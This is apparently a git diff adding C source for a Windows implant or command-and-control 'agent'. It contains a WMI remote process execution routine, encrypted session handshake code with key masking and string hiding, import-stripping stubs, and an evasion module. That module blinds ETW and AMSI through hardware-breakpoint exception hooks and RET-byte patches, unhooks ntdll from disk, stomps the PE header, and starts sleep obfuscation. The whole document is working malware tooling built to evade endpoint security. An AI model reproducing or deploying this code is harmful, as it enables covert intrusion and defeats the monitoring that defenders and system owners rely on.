+ snprintf(output_buf, output_size,
+ "[wmiexec] GetObject(Win32_Process): 0x%08lx\n",
+ (unsigned long)hr);
+ goto cleanup;
+ }
+
+ hr = pClass->lpVtbl->GetMethod(pClass, L"Create", 0, &pInCls, NULL);
+ if (FAILED(hr)) {
+ snprintf(output_buf, output_size,
+ "[wmiexec] GetMethod(Create): 0x%08lx\n", (unsigned long)hr);
+ goto cleanup;
+ }
+
+ hr = pInCls->lpVtbl->SpawnInstance(pInCls, 0, &pIn);
+ if (FAILED(hr)) {
+ snprintf(output_buf, output_size,
+ "[wmiexec] SpawnInstance: 0x%08lx\n", (unsigned long)hr);
+ goto cleanup;
+ }
+
+ {
+ BSTR bcmd = _mbstr(cmdline);
+ if (!bcmd) goto cleanup;
+
+ VARIANT v;
+ VariantInit(&v);
+ V_VT(&v) = VT_BSTR;
+ V_BSTR(&v) = bcmd;
+
+ hr = pIn->lpVtbl->Put(pIn, L"CommandLine", 0, &v, 0);
+ VariantClear(&v);
+ if (FAILED(hr)) {
+ snprintf(output_buf, output_size,
+ "[wmiexec] Put(CommandLine): 0x%08lx\n", (unsigned long)hr);
+ goto cleanup;
+ }
+ }
+
+ hr = pSvc->lpVtbl->ExecMethod(pSvc, bCls, bMeth, 0, NULL,
+ pIn, &pOut, NULL);
+ if (FAILED(hr)) {
+ snprintf(output_buf, output_size,
+ "[wmiexec] ExecMethod: 0x%08lx\n", (unsigned long)hr);
+ goto cleanup;
+ }
+
+ {
+ VARIANT vRet, vPid;
+ VariantInit(&vRet); VariantInit(&vPid);
+ pOut->lpVtbl->Get(pOut, L"ReturnValue", 0, &vRet, NULL, NULL);
+ pOut->lpVtbl->Get(pOut, L"ProcessId", 0, &vPid, NULL, NULL);
+
+ DWORD ret_val = (vRet.vt == VT_I4 || vRet.vt == VT_UI4)
+ ? (DWORD)vRet.intVal : 0xFFFF;
+ DWORD pid_val = (vPid.vt == VT_I4 || vPid.vt == VT_UI4)
+ ? (DWORD)vPid.intVal : 0;
+ VariantClear(&vRet); VariantClear(&vPid);
+
+ if (ret_val == 0) {
+ snprintf(output_buf, output_size,
+ "[wmiexec] ok host=%s pid=%lu\n cmd=%s\n",
+ host, (unsigned long)pid_val, cmdline);
+ rc = 0;
+ } else {
+ snprintf(output_buf, output_size,
+ "[wmiexec] Win32_Process::Create returned %lu\n"
+ " 2=access denied 3=insufficient priv 8=unknown\n"
+ " 9=path not found 21=invalid param\n",
+ (unsigned long)ret_val);
+ }
+ }
+
+cleanup:
+ if (pOut) pOut->lpVtbl->Release(pOut);
+ if (pIn) pIn->lpVtbl->Release(pIn);
+ if (pInCls) pInCls->lpVtbl->Release(pInCls);
+ if (pClass) pClass->lpVtbl->Release(pClass);
+ if (pSvc) pSvc->lpVtbl->Release(pSvc);
+ if (pLoc) pLoc->lpVtbl->Release(pLoc);
+ if (bNS) SysFreeString(bNS);
+ if (bCls) SysFreeString(bCls);
+ if (bMeth) SysFreeString(bMeth);
+ if (co_init) CoUninitialize();
+ return rc;
+}
diff --git a/agent/src/crypto/chacha.c b/agent/src/crypto/chacha.c
new file mode 100644
index 0000000..0786e6b
--- /dev/null
+++ b/agent/src/crypto/chacha.c
@@ -0,0 +1,191 @@
+#include "crypto.h"
+#include
+#include
+#include
+#include
+#include
+#include
+
+int crypto_rand_bytes(uint8_t *buf, size_t len)
+{
+ NTSTATUS st = BCryptGenRandom(NULL, buf, (ULONG)len,
+ BCRYPT_USE_SYSTEM_PREFERRED_RNG);
+ return (st == 0) ? 0 : -1;
+}
+
+int crypto_init(crypto_ctx_t *ctx)
+{
+ memset(ctx, 0, sizeof(*ctx));
+ return 0;
+}
+
+void crypto_free(crypto_ctx_t *ctx)
+{
+ memset(ctx, 0, sizeof(*ctx));
+}
+
+/* ChaCha20-Poly1305 encrypt/decrypt */
+
+int chacha20_poly1305_encrypt(const uint8_t *key, const uint8_t *nonce,
+ const uint8_t *pt, size_t pt_len,
+ uint8_t *ct, uint8_t *tag)
+{
+ mbedtls_chachapoly_context ctx;
+ mbedtls_chachapoly_init(&ctx);
+ int ret = mbedtls_chachapoly_setkey(&ctx, key);
+ if (ret == 0)
+ ret = mbedtls_chachapoly_encrypt_and_tag(&ctx, pt_len, nonce,
+ NULL, 0,
+ pt, ct, tag);
+ mbedtls_chachapoly_free(&ctx);
+ return ret;
+}
+
+int chacha20_poly1305_decrypt(const uint8_t *key, const uint8_t *nonce,
+ const uint8_t *ct, size_t ct_len,
+ const uint8_t *tag, uint8_t *pt)
+{
+ mbedtls_chachapoly_context ctx;
+ mbedtls_chachapoly_init(&ctx);
+ int ret = mbedtls_chachapoly_setkey(&ctx, key);
+ if (ret == 0)
+ ret = mbedtls_chachapoly_auth_decrypt(&ctx, ct_len, nonce,
+ NULL, 0,
+ tag, ct, pt);
+ mbedtls_chachapoly_free(&ctx);
+ return ret;
+}
+
+/* ---- Authenticated encryption with session key ---- */
+
+uint8_t *crypto_seal(crypto_ctx_t *ctx,
+ const uint8_t *pt, size_t pt_len,
+ size_t *out_len)
+{
+ size_t total = CHACHA20_NONCE_SIZE + pt_len + POLY1305_TAG_SIZE;
+ uint8_t *buf = malloc(total);
+ if (!buf)
+ return NULL;
+
+ uint8_t *nonce = buf;
+ uint8_t *ct = buf + CHACHA20_NONCE_SIZE;
+ uint8_t *tag = buf + CHACHA20_NONCE_SIZE + pt_len;
+
+ /* unmask key, encrypt, re-randomize mask */
+ uint8_t tmp_key[CHACHA20_KEY_SIZE];
+ for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
+ tmp_key[i] = ctx->session_key[i] ^ ctx->key_mask[i];
+
+ int enc_ok = (crypto_rand_bytes(nonce, CHACHA20_NONCE_SIZE) == 0) &&
+ (chacha20_poly1305_encrypt(tmp_key, nonce, pt, pt_len, ct, tag) == 0);
+
+ /* re-randomize mask after use */
+ uint8_t new_mask[CHACHA20_KEY_SIZE];
+ if (crypto_rand_bytes(new_mask, CHACHA20_KEY_SIZE) == 0)
+ {
+ for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
+ {
+ ctx->session_key[i] = tmp_key[i] ^ new_mask[i];
+ ctx->key_mask[i] = new_mask[i];
+ }
+ }
+ memset(tmp_key, 0, sizeof(tmp_key));
+ memset(new_mask, 0, sizeof(new_mask));
+
+ if (!enc_ok)
+ {
+ free(buf);
+ return NULL;
+ }
+ *out_len = total;
+ return buf;
+}
+
+uint8_t *crypto_open(crypto_ctx_t *ctx,
+ const uint8_t *blob, size_t blob_len,
+ size_t *out_len)
+{
+ if (blob_len < CRYPTO_OVERHEAD)
+ return NULL;
+
+ const uint8_t *nonce = blob;
+ size_t ct_len = blob_len - CRYPTO_OVERHEAD;
+ const uint8_t *ct = blob + CHACHA20_NONCE_SIZE;
+ const uint8_t *tag = blob + CHACHA20_NONCE_SIZE + ct_len;
+
+ uint8_t *pt = malloc(ct_len + 1);
+ if (!pt)
+ return NULL;
+
+ /* unmask key, decrypt, re-randomize mask */
+ uint8_t tmp_key[CHACHA20_KEY_SIZE];
+ for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
+ tmp_key[i] = ctx->session_key[i] ^ ctx->key_mask[i];
+
+ int dec_ok = (chacha20_poly1305_decrypt(tmp_key, nonce, ct, ct_len, tag, pt) == 0);
+
+ uint8_t new_mask[CHACHA20_KEY_SIZE];
+ if (crypto_rand_bytes(new_mask, CHACHA20_KEY_SIZE) == 0)
+ {
+ for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
+ {
+ ctx->session_key[i] = tmp_key[i] ^ new_mask[i];
+ ctx->key_mask[i] = new_mask[i];
+ }
+ }
+ memset(tmp_key, 0, sizeof(tmp_key));
+ memset(new_mask, 0, sizeof(new_mask));
+
+ if (!dec_ok)
+ {
+ free(pt);
+ return NULL;
+ }
+ pt[ct_len] = '\0';
+ *out_len = ct_len;
+ return pt;
+}
+
+/* base64 encode/decode via mbedTLS */
+
+char *base64_encode(const uint8_t *data, size_t len)
+{
+ size_t out_len = 0;
+ mbedtls_base64_encode(NULL, 0, &out_len, data, len);
+
+ char *buf = malloc(out_len + 1);
+ if (!buf)
+ return NULL;
+
+ if (mbedtls_base64_encode((unsigned char *)buf, out_len + 1,
+ &out_len, data, len) != 0)
+ {
+ free(buf);
+ return NULL;
+ }
+ buf[out_len] = '\0';
+ return buf;
+}
+
+uint8_t *base64_decode(const char *str, size_t *out_len)
+{
+ size_t in_len = strlen(str);
+ size_t decoded_len = 0;
+
+ mbedtls_base64_decode(NULL, 0, &decoded_len,
+ (const unsigned char *)str, in_len);
+
+ uint8_t *buf = malloc(decoded_len + 1);
+ if (!buf)
+ return NULL;
+
+ if (mbedtls_base64_decode(buf, decoded_len + 1, &decoded_len,
+ (const unsigned char *)str, in_len) != 0)
+ {
+ free(buf);
+ return NULL;
+ }
+ buf[decoded_len] = '\0';
+ *out_len = decoded_len;
+ return buf;
+}
diff --git a/agent/src/crypto/handshake.c b/agent/src/crypto/handshake.c
new file mode 100644
index 0000000..c13f18c
--- /dev/null
+++ b/agent/src/crypto/handshake.c
@@ -0,0 +1,161 @@
+#include "crypto.h"
+#include
+#include
+#include
+#include
+#include
+
+/* shared CSPRNG defined in chacha.c */
+int crypto_rand_bytes(uint8_t *buf, size_t len);
+
+/* adapter for mbedTLS f_rng callbacks */
+static int _rng_cb(void *p_rng, unsigned char *buf, size_t len)
+{
+ (void)p_rng;
+ return crypto_rand_bytes(buf, len);
+}
+
+/* generate an X25519 keypair */
+
+int crypto_gen_keypair(uint8_t *pubkey, uint8_t *privkey)
+{
+ mbedtls_ecp_group grp;
+ mbedtls_mpi d;
+ mbedtls_ecp_point Q;
+ int ret;
+
+ mbedtls_ecp_group_init(&grp);
+ mbedtls_mpi_init(&d);
+ mbedtls_ecp_point_init(&Q);
+
+ ret = mbedtls_ecp_group_load(&grp, MBEDTLS_ECP_DP_CURVE25519);
+ if (ret) goto out;
+
+ ret = mbedtls_ecp_gen_keypair(&grp, &d, &Q, _rng_cb, NULL);
+ if (ret) goto out;
+
+ ret = mbedtls_mpi_write_binary(&d, privkey, X25519_KEY_SIZE);
+ if (ret) goto out;
+
+ /* reverse public key bytes: mbedTLS is big-endian, X25519 wire is little-endian */
+ ret = mbedtls_mpi_write_binary(&Q.MBEDTLS_PRIVATE(X), pubkey, X25519_KEY_SIZE);
+ if (ret == 0) {
+ for (int i = 0; i < X25519_KEY_SIZE / 2; i++) {
+ uint8_t tmp = pubkey[i];
+ pubkey[i] = pubkey[X25519_KEY_SIZE - 1 - i];
+ pubkey[X25519_KEY_SIZE - 1 - i] = tmp;
+ }
+ }
+
+out:
+ mbedtls_ecp_group_free(&grp);
+ mbedtls_mpi_free(&d);
+ mbedtls_ecp_point_free(&Q);
+ return ret;
+}
+
+/* ECDH: compute shared = privkey * peer_pubkey */
+
+int crypto_ecdh(const uint8_t *privkey, const uint8_t *peer_pubkey,
+ uint8_t *shared_secret)
+{
+ mbedtls_ecp_group grp;
+ mbedtls_mpi d;
+ mbedtls_ecp_point Qp, R;
+ int ret;
+
+ mbedtls_ecp_group_init(&grp);
+ mbedtls_mpi_init(&d);
+ mbedtls_ecp_point_init(&Qp);
+ mbedtls_ecp_point_init(&R);
+
+ ret = mbedtls_ecp_group_load(&grp, MBEDTLS_ECP_DP_CURVE25519);
+ if (ret) goto out;
+
+ /* load private scalar */
+ ret = mbedtls_mpi_read_binary(&d, privkey, X25519_KEY_SIZE);
+ if (ret) goto out;
+
+ /* reverse peer pubkey bytes: little-endian wire -> big-endian MPI */
+ uint8_t peer_le[X25519_KEY_SIZE];
+ for (int i = 0; i < X25519_KEY_SIZE; i++)
+ peer_le[i] = peer_pubkey[X25519_KEY_SIZE - 1 - i];
+ ret = mbedtls_mpi_read_binary(&Qp.MBEDTLS_PRIVATE(X), peer_le, X25519_KEY_SIZE);
+ if (ret) goto out;
+
+ /* Z = 1 for affine representation */
+ ret = mbedtls_mpi_lset(&Qp.MBEDTLS_PRIVATE(Z), 1);
+ if (ret) goto out;
+
+ /* R = d * Qp */
+ ret = mbedtls_ecp_mul(&grp, &R, &d, &Qp, _rng_cb, NULL);
+ if (ret) goto out;
+
+ /* shared secret = R.X, reversed to little-endian */
+ ret = mbedtls_mpi_write_binary(&R.MBEDTLS_PRIVATE(X), shared_secret, X25519_KEY_SIZE);
+ if (ret == 0) {
+ for (int i = 0; i < X25519_KEY_SIZE / 2; i++) {
+ uint8_t tmp = shared_secret[i];
+ shared_secret[i] = shared_secret[X25519_KEY_SIZE - 1 - i];
+ shared_secret[X25519_KEY_SIZE - 1 - i] = tmp;
+ }
+ }
+
+out:
+ mbedtls_ecp_group_free(&grp);
+ mbedtls_mpi_free(&d);
+ mbedtls_ecp_point_free(&Qp);
+ mbedtls_ecp_point_free(&R);
+ return ret;
+}
+
+/* HKDF-SHA256 key derivation */
+
+int crypto_hkdf(const uint8_t *ikm, size_t ikm_len,
+ const uint8_t *salt, size_t salt_len,
+ const uint8_t *info, size_t info_len,
+ uint8_t *okm, size_t okm_len)
+{
+ const mbedtls_md_info_t *md = mbedtls_md_info_from_type(MBEDTLS_MD_SHA256);
+ return mbedtls_hkdf(md,
+ salt, salt_len,
+ ikm, ikm_len,
+ info, info_len,
+ okm, okm_len);
+}
+
+/* ECDH + HKDF to establish session key */
+
+int crypto_do_handshake(crypto_ctx_t *ctx, const uint8_t *server_pubkey)
+{
+ uint8_t shared[X25519_KEY_SIZE];
+ int ret;
+
+ ret = crypto_ecdh(ctx->agent_privkey, server_pubkey, shared);
+ if (ret) return ret;
+
+ /* HKDF info context label, stored as bytes to avoid string extraction */
+ static const uint8_t k_info[] = {
+ 0x6b,0x64,0x66,0x2d,0x73,0x65,0x73,0x73,
+ 0x2d,0x76,0x31,0x00
+ };
+
+ /* derive session key */
+ uint8_t raw_key[CHACHA20_KEY_SIZE];
+ ret = crypto_hkdf(shared, sizeof(shared),
+ NULL, 0,
+ k_info, sizeof(k_info) - 1,
+ raw_key, CHACHA20_KEY_SIZE);
+
+ memset(shared, 0, sizeof(shared));
+
+ if (ret == 0) {
+ /* store key XOR random mask so it's never plaintext on the heap */
+ crypto_rand_bytes(ctx->key_mask, CHACHA20_KEY_SIZE);
+ for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
+ ctx->session_key[i] = raw_key[i] ^ ctx->key_mask[i];
+ ctx->key_established = 1;
+ }
+ memset(raw_key, 0, sizeof(raw_key));
+ return ret;
+}
diff --git a/agent/src/entry.c b/agent/src/entry.c
new file mode 100644
index 0000000..ac1ce32
--- /dev/null
+++ b/agent/src/entry.c
@@ -0,0 +1,80 @@
+#include
+#include
+#include
+
+/* Forward declaration — defined in main.c */
+extern int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int);
+
+void WinMainCRTStartup(void)
+{
+ int ret = WinMain(NULL, NULL, NULL, SW_SHOWDEFAULT);
+ ExitProcess((UINT)ret);
+}
+
+/* Stubs for CRT functions that -nostartfiles leaves undefined */
+
+/* atexit: called by libmingwex dtoa/snprintf internals; we ExitProcess so
+ * registered handlers will never run — stub is safe. */
+int atexit(void (*fn)(void)) { (void)fn; return 0; }
+
+/* __main: called by some MinGW ctor chains; no C++ ctors in this binary. */
+void __main(void) {}
+
+/*
+ * getntptimeofday — normally defined in libmingwex gettimeofday.o, which calls
+ * GetModuleHandleA("kernel32") + GetProcAddress to probe GetSystemTimePreciseAsFileTime.
+ * Our version uses GetSystemTimeAsFileTime directly (already in IAT) — eliminates
+ * the GetModuleHandleA import that gettimeofday.o would add.
+ */
+#include
+int getntptimeofday(struct timespec *tp, const void *tz)
+{
+ (void)tz;
+ if (tp) {
+ FILETIME ft;
+ GetSystemTimeAsFileTime(&ft);
+ ULONGLONG t = ((ULONGLONG)ft.dwHighDateTime << 32) | ft.dwLowDateTime;
+ t -= 116444736000000000ULL; /* FILETIME to Unix epoch (100ns units) */
+ tp->tv_sec = (time_t)(t / 10000000ULL);
+ tp->tv_nsec = (long)((t % 10000000ULL) * 100);
+ }
+ return 0;
+}
+
+/*
+ * rand_s / __imp_rand_s stubs — prevent libmsvcrt.a(rand_s.o) from linking.
+ * rand_s.o imports GetModuleHandleA+GetProcAddress to find RtlGenRandom.
+ * libmingwex stack_chk_guard.o (pulled by mbedTLS) references __imp_rand_s.
+ * Defining both here satisfies the reference without the GetModuleHandleA dep.
+ */
+static errno_t _rand_s_impl(unsigned int *r)
+{
+ if (!r) return EINVAL;
+ BCryptGenRandom(NULL, (PUCHAR)r, sizeof(*r), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
+ return 0;
+}
+errno_t rand_s(unsigned int *r) { return _rand_s_impl(r); }
+errno_t (*__imp_rand_s)(unsigned int *) = _rand_s_impl;
+
+/*
+ * _gmtime64_s stub — mbedTLS platform_util.c.obj calls _gmtime64_s which is
+ * provided by libmsvcrt.a(_gmtime64_s.o), another GetModuleHandleA importer.
+ * Stub with gmtime() (same semantics, no GetModuleHandleA).
+ */
+#include
+errno_t _gmtime64_s(struct tm *_Tm, const __int64 *_Time)
+{
+ if (!_Tm || !_Time) return EINVAL;
+ time_t t = (time_t)*_Time;
+ struct tm *r = gmtime(&t);
+ if (!r) return EINVAL;
+ *_Tm = *r;
+ return 0;
+}
+errno_t (*__imp__gmtime64_s)(struct tm *, const __int64 *) = _gmtime64_s;
+
+/* Override __imp_GetModuleHandleA — strong data symbol prevents IAT import.
+ * Library callers (libpthread misc.o etc.) use result for optional feature
+ * detection; returning NULL causes them to use built-in fallbacks. */
+static HMODULE WINAPI _gmha_impl(LPCSTR n) { (void)n; return NULL; }
+HMODULE (WINAPI *__imp_GetModuleHandleA)(LPCSTR) = _gmha_impl;
diff --git a/agent/src/evasion/evasion.c b/agent/src/evasion/evasion.c
new file mode 100644
index 0000000..08ab699
--- /dev/null
+++ b/agent/src/evasion/evasion.c
@@ -0,0 +1,601 @@
+#include "evasion.h"
+#include "evs_strings.h"
+#include "peb_walk.h"
+#include
+#include
+#include
+#include
+#include
+
+/* NtProtectVirtualMemory direct call */
+typedef NTSTATUS (NTAPI *NtPVM_t)(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
+
+static BOOL _nt_prot(LPVOID addr, SIZE_T sz, DWORD prot, DWORD *old)
+{
+ static NtPVM_t _fn = NULL;
+ if (!_fn) {
+ char ns[12], fs[24];
+ EVS_D(ns, EVS_dll_ntdll);
+ HMODULE h = _peb_module(ns);
+ SecureZeroMemory(ns, sizeof(ns));
+ if (h) {
+ EVS_D(fs, EVS_fn_NtProtectVirtualMemory);
+ _fn = (NtPVM_t)(void *)GetProcAddress(h, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ }
+ if (!_fn) return FALSE;
+ PVOID base = addr;
+ SIZE_T rsz = sz;
+ ULONG _old = 0;
+ NTSTATUS st = _fn((HANDLE)(LONG_PTR)-1, &base, &rsz, (ULONG)prot, &_old);
+ if (old) *old = (DWORD)_old;
+ return st == 0;
+}
+
+/* Dynamic kernel32 API resolvers */
+typedef BOOL (WINAPI *GTC_t)(HANDLE, PCONTEXT);
+typedef BOOL (WINAPI *STC_t)(HANDLE, const CONTEXT *);
+typedef LPVOID (WINAPI *MVF_t)(HANDLE, DWORD, DWORD, DWORD, DWORD);
+typedef BOOL (WINAPI *UMVF_t)(LPCVOID);
+
+static HMODULE _k32(void)
+{
+ static HMODULE h = NULL;
+ if (h) return h;
+ char s[16]; EVS_D(s, EVS_dll_kernel32);
+ h = _peb_module(s);
+ SecureZeroMemory(s, sizeof(s));
+ return h;
+}
+
+#define _K32_LAZY(type, var, enc_arr) \
+ static type var = NULL; \
+ if (!var) { char _fs[20]; EVS_D(_fs, enc_arr); \
+ var = (type)(void *)GetProcAddress(_k32(), _fs); \
+ SecureZeroMemory(_fs, sizeof(_fs)); }
+
+static BOOL _gtc(HANDLE t, PCONTEXT c)
+{
+ _K32_LAZY(GTC_t, fn, EVS_fn_GetThreadContext)
+ return fn ? fn(t, c) : FALSE;
+}
+
+static BOOL _stc(HANDLE t, const CONTEXT *c)
+{
+ _K32_LAZY(STC_t, fn, EVS_fn_SetThreadContext)
+ return fn ? fn(t, c) : FALSE;
+}
+
+static LPVOID _mvf(HANDLE hm, DWORD acc, DWORD hi, DWORD lo, DWORD sz)
+{
+ _K32_LAZY(MVF_t, fn, EVS_fn_MapViewOfFile)
+ return fn ? fn(hm, acc, hi, lo, sz) : NULL;
+}
+
+static BOOL _umvf(LPCVOID p)
+{
+ _K32_LAZY(UMVF_t, fn, EVS_fn_UnmapViewOfFile)
+ return fn ? fn(p) : FALSE;
+}
+
+static LPVOID g_etw_fn = NULL;
+static LPVOID g_amsi_fn = NULL; /* AmsiScanBuffer — Dr1 */
+static LPVOID g_amsi_scan_fn = NULL; /* AmsiScanString — Dr2 */
+static HANDLE g_veh = NULL;
+static BOOL g_init_done = FALSE;
+
+typedef PVOID (WINAPI *_AVEH_t)(ULONG, PVECTORED_EXCEPTION_HANDLER);
+static PVOID _aveh(ULONG first, PVECTORED_EXCEPTION_HANDLER fn)
+{
+ static _AVEH_t _fn = NULL;
+ if (!_fn) {
+ char s[32] = {0};
+ char sk[16] = {0};
+ EVS_D(s, EVS_fn_AddVectoredExceptionHandler);
+ EVS_D(sk, EVS_dll_kernel32);
+ HMODULE h = _peb_module(sk);
+ if (h) _fn = (_AVEH_t)(void *)GetProcAddress(h, s);
+ SecureZeroMemory(s, sizeof(s));
+ SecureZeroMemory(sk, sizeof(sk));
+ }
+ return _fn ? _fn(first, fn) : NULL;
+}
+
+/* Resolve ETW/AMSI targets */
+
+static void _resolve_targets(void)
+{
+ char s[24];
+
+ /* ETW */
+ EVS_D(s, EVS_dll_ntdll);
+ HMODULE ntdll = _peb_module(s);
+ SecureZeroMemory(s, sizeof(s));
+ if (ntdll) {
+ EVS_D(s, EVS_fn_EtwEventWrite);
+ g_etw_fn = (LPVOID)GetProcAddress(ntdll, s);
+ SecureZeroMemory(s, sizeof(s));
+ }
+
+ /* AMSI — may not be present on all systems */
+ EVS_D(s, EVS_dll_amsi);
+ HMODULE hamsi = _peb_module(s); /* only if already mapped */
+ SecureZeroMemory(s, sizeof(s));
+ if (hamsi) {
+ EVS_D(s, EVS_fn_AmsiScanBuffer);
+ g_amsi_fn = (LPVOID)GetProcAddress(hamsi, s);
+ SecureZeroMemory(s, sizeof(s));
+ EVS_D(s, EVS_fn_AmsiScanString);
+ g_amsi_scan_fn = (LPVOID)GetProcAddress(hamsi, s);
+ SecureZeroMemory(s, sizeof(s));
+ }
+}
+
+/* VEH handler for ETW/AMSI */
+__attribute__((section(".run"), noinline))
+static LONG WINAPI _hwbp_veh(EXCEPTION_POINTERS *ep)
+{
+ if (ep->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
+ return EXCEPTION_CONTINUE_SEARCH;
+
+ CONTEXT *ctx = ep->ContextRecord;
+ BOOL handled = FALSE;
+
+ if (g_etw_fn && (LPVOID)(uintptr_t)ctx->Rip == g_etw_fn) {
+ ctx->Rax = 0; /* STATUS_SUCCESS */
+ ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
+ ctx->Rsp += 8;
+ ctx->Dr6 &= ~(DWORD64)0x1; /* clear B0 */
+ handled = TRUE;
+ }
+
+ if (g_amsi_fn && (LPVOID)(uintptr_t)ctx->Rip == g_amsi_fn) {
+ ctx->Rax = 0x80070057; /* E_INVALIDARG */
+ ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
+ ctx->Rsp += 8;
+ ctx->Dr6 &= ~(DWORD64)0x2; /* clear B1 */
+ handled = TRUE;
+ }
+
+ if (g_amsi_scan_fn && (LPVOID)(uintptr_t)ctx->Rip == g_amsi_scan_fn) {
+ ctx->Rax = 0x80070057; /* E_INVALIDARG */
+ ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
+ ctx->Rsp += 8;
+ ctx->Dr6 &= ~(DWORD64)0x4; /* clear B2 */
+ handled = TRUE;
+ }
+
+ return handled ? EXCEPTION_CONTINUE_EXECUTION : EXCEPTION_CONTINUE_SEARCH;
+}
+
+/* Set debug registers on a thread */
+BOOL evasion_apply_thread(HANDLE hThread)
+{
+ if (!g_etw_fn && !g_amsi_fn && !g_amsi_scan_fn) return FALSE;
+
+ CONTEXT ctx;
+ ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
+ if (!_gtc(hThread, &ctx)) return FALSE;
+
+ if (g_etw_fn) ctx.Dr0 = (DWORD64)(uintptr_t)g_etw_fn;
+ if (g_amsi_fn) ctx.Dr1 = (DWORD64)(uintptr_t)g_amsi_fn;
+ if (g_amsi_scan_fn) ctx.Dr2 = (DWORD64)(uintptr_t)g_amsi_scan_fn;
+
+ ctx.Dr7 &= ~(DWORD64)0x0FFF0015;
+ ctx.Dr7 |= g_etw_fn ? 0x01 : 0;
+ ctx.Dr7 |= g_amsi_fn ? 0x04 : 0;
+ ctx.Dr7 |= g_amsi_scan_fn ? 0x10 : 0;
+
+ return _stc(hThread, &ctx) != 0;
+}
+
+/* One-time init */
+
+static void _evasion_init(void)
+{
+ if (g_init_done) return;
+ g_init_done = TRUE;
+
+ _resolve_targets();
+
+ if (!g_etw_fn && !g_amsi_fn) return;
+
+ /* register VEH, first in chain */
+ if (!g_veh)
+ g_veh = _aveh(1, _hwbp_veh);
+
+ /* arm breakpoints on calling thread */
+ evasion_apply_thread(GetCurrentThread());
+}
+
+/* public API */
+
+void evasion_patch_etw(void) { _evasion_init(); }
+void evasion_patch_amsi(void) { _evasion_init(); }
+
+/* Patch ETW TI functions in ntdll */
+void evasion_patch_etw_ti(void)
+{
+ char s[32];
+ EVS_D(s, EVS_dll_ntdll);
+ HMODULE ntdll = _peb_module(s);
+ SecureZeroMemory(s, sizeof(s));
+ if (!ntdll) return;
+
+ const struct { const unsigned char *enc; size_t n; } fns[] = {
+ { EVS_fn_EtwTiLogOpenProcess, sizeof(EVS_fn_EtwTiLogOpenProcess) },
+ { EVS_fn_EtwTiLogReadWriteVm, sizeof(EVS_fn_EtwTiLogReadWriteVm) },
+ { EVS_fn_EtwTiLogDuplicateHandle, sizeof(EVS_fn_EtwTiLogDuplicateHandle) },
+ };
+
+ for (int i = 0; i < 3; i++) {
+ _evs_dec(s, fns[i].enc, fns[i].n);
+ BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, s);
+ SecureZeroMemory(s, sizeof(s));
+ if (!fn) continue;
+
+ DWORD old;
+ if (!_nt_prot(fn, 1, PAGE_EXECUTE_READWRITE, &old)) continue;
+ *fn = 0xC3;
+ _nt_prot(fn, 1, old, &old);
+ }
+}
+
+/* Restore ntdll from disk */
+
+void evasion_unhook_ntdll(void)
+{
+ /* Build ntdll.dll path: GetSystemDirectoryW + "\ntdll.dll" */
+ WCHAR path[MAX_PATH];
+ UINT dir_len = GetSystemDirectoryW(path, MAX_PATH);
+ if (!dir_len || dir_len > MAX_PATH - 12) return;
+
+ /* append \ntdll.dll as wide chars */
+ const WCHAR suffix[] = { L'\\',L'n',L't',L'd',L'l',L'l',L'.',L'd',L'l',L'l',L'\0' };
+ wcsncpy(path + dir_len, suffix, 11);
+
+ /* map ntdll from disk via SEC_IMAGE to bypass file hooks */
+ HANDLE hFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ,
+ NULL, OPEN_EXISTING, 0, NULL);
+ if (hFile == INVALID_HANDLE_VALUE) return;
+
+ HANDLE hMap = CreateFileMappingW(hFile, NULL,
+ PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
+ CloseHandle(hFile);
+ if (!hMap) return;
+
+ LPVOID disk = _mvf(hMap, FILE_MAP_READ, 0, 0, 0);
+ CloseHandle(hMap);
+ if (!disk) return;
+
+ /* get live ntdll base */
+ char sname[12];
+ EVS_D(sname, EVS_dll_ntdll);
+ HMODULE live = _peb_module(sname);
+ SecureZeroMemory(sname, sizeof(sname));
+ if (!live) goto cleanup;
+
+ /* parse PE headers to find .text section */
+ IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)disk;
+ if (dos->e_magic != IMAGE_DOS_SIGNATURE) goto cleanup;
+ IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)disk + dos->e_lfanew);
+ if (nt->Signature != IMAGE_NT_SIGNATURE) goto cleanup;
+
+ IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
+ for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
+ if (memcmp(sec->Name, ".text", 5) != 0) continue;
+
+ LPVOID live_text = (BYTE *)live + sec->VirtualAddress;
+ LPVOID disk_text = (BYTE *)disk + sec->VirtualAddress;
+ SIZE_T text_sz = sec->Misc.VirtualSize;
+
+ DWORD old;
+ if (!_nt_prot(live_text, text_sz, PAGE_EXECUTE_READWRITE, &old))
+ break;
+ memcpy(live_text, disk_text, text_sz);
+ _nt_prot(live_text, text_sz, old, &old);
+ break;
+ }
+
+cleanup:
+ _umvf(disk);
+}
+
+/* Remove the PE header at module base */
+void evasion_stomp_header(void)
+{
+ HMODULE base = (HMODULE)_peb_self_base();
+ if (!base) return;
+ DWORD old;
+ if (!_nt_prot(base, 0x1000, PAGE_READWRITE, &old)) return;
+ SecureZeroMemory(base, 0x1000);
+ _nt_prot(base, 0x1000, old, &old);
+}
+
+/* Sleep obfuscation */
+
+/* Typedefs for dynamically resolved APIs */
+
+typedef NTSTATUS (NTAPI *NtContinue_t)(PCONTEXT, BOOLEAN);
+typedef NTSTATUS (NTAPI *NtWait_t)(HANDLE, BOOLEAN, PLARGE_INTEGER);
+typedef VOID (NTAPI *RtlCapCtx_t)(PCONTEXT);
